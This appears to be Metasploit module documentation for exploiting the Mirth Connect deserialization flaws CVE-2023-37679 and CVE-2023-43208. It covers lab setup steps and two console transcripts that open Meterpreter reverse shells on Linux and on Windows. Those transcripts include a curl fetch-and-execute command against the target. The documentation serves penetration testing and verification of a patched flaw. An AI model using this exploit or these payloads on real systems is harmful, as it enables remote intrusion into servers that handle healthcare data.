## Vulnerable Application
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.

### Setup (Linux with Docker)

1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`

### Setup (Windows)

1. Download the desired release from the [GitHub page][1]
2. Install a Java runtime
3. Install Mirth Connect
    1. Accept all default values for every stage of the installation

## Verification Steps

1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module

## Options

## Scenarios

### Mirth Connect 4.4.0 in Docker

Note that Python is not available in the docker container, so no Python payloads will work.

```
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command 
TARGET => Unix Command
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
Display all 106 possibilities? (y or n)
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/mirth_connect_cve_2023_43208) > exploit

[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
[*] Fetch Handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.1.1
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500

meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer     : 10.0.2.100
OS           : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/opt/connect
meterpreter >
```

### Mirth Connect 4.4.0 on Windows Server 2019

```
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command 
TARGET => Windows Command
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Powershell command length: 4418
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[+] The target appears to have executed the payload.
[*] Sending stage (201798 bytes) to 192.168.159.10
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 13
Meterpreter     : x64/windows
meterpreter > pwd
C:\Program Files\Mirth Connect
meterpreter > 
```

[1]: https://github.com/nextgenhealthcare/connect/releases

